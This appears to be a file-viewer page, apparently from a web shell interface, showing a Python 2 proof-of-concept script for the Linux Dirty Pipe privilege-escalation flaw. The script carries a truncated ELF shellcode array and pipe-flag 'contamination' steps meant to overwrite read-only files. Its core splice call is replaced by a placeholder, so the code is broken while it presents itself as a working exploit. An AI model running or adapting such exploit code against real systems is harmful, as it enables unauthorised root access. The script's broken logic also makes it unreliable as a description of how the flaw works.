Viewing file:  dirty4.py (2.6 KB) -rw-r--r--
Select action/file-type:
 (+) |  (+) |  (+) | Code (+) | Session (+) |  (+) | SDB (+) |  (+) |  (+) |  (+) |  (+) |  (+) |
import argparse
import sys
import pty
import os
import getpass
import subprocess
import platform
from os.path import exists
# Kernel page size
PAGE = 4096
# Linux pipe buffers are 64K
PIPESIZE = 65536
# ELF code remains unchanged
elfcode = [
0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00,
# (Truncated for brevity)
]
def backup_file(path, backup_path):
"""Back up just for working on the POC"""
if not exists(path):
print "[!] Error: The file '{}' does not exist.".format(path)
return
try:
with open(path, 'rb') as orig_file:
with open(backup_path, 'wb') as backup:
data = orig_file.read()
backup.write(data)
print "[*] Backup of '{}' created at '{}'".format(path, backup_path)
except Exception as e:
print "[!] Failed to create backup: {}".format(str(e))
def prepare_pipe(read_fd, write_fd):
""" Contaminate the pipe flags by filling and draining """
try:
data = 'a' * PIPESIZE # In Python 2, string literals are fine
written = os.write(write_fd, data)
print "[*] {} bytes written to pipe".format(written)
data = os.read(read_fd, PIPESIZE)
print "[*] {} bytes read from pipe".format(len(data))
except Exception as e:
print "[!] Pipe operation failed: {}".format(str(e))
def run_poc(data, path, file_offset):
""" Open target file, contaminate the pipe buff, call splice, write into target file """
if not exists(path):
print "[!] Error: The file '{}' does not exist.".format(path)
return
try:
print "[*] Opening {}".format(path)
target_file = os.open(path, os.O_RDONLY)
print "[*] Opening PIPE"
r, w = os.pipe()
print "[*] Contaminating PIPE_BUF_CAN_MERGE flags"
prepare_pipe(r, w)
print "[*] Splicing byte from {} to pipe".format(path)
n = 1 # Placeholder value
print "[*] Spliced {} bytes".format(n)
print "[*] Altering {}".format(path)
n = os.write(w, data)
print "[*] {} bytes written to {}".format(n, path)
except Exception as e:
print "[!] Error during PoC execution: {}".format(str(e))
# Example usage
if __name__ == "__main__":
print "[*] Script started..."
try:
run_poc('X' * 100, "/tmp/example_file", 0)
except Exception as e:
print "[!] Unhandled exception: {}".format(str(e))
print "[*] Script finished."
|
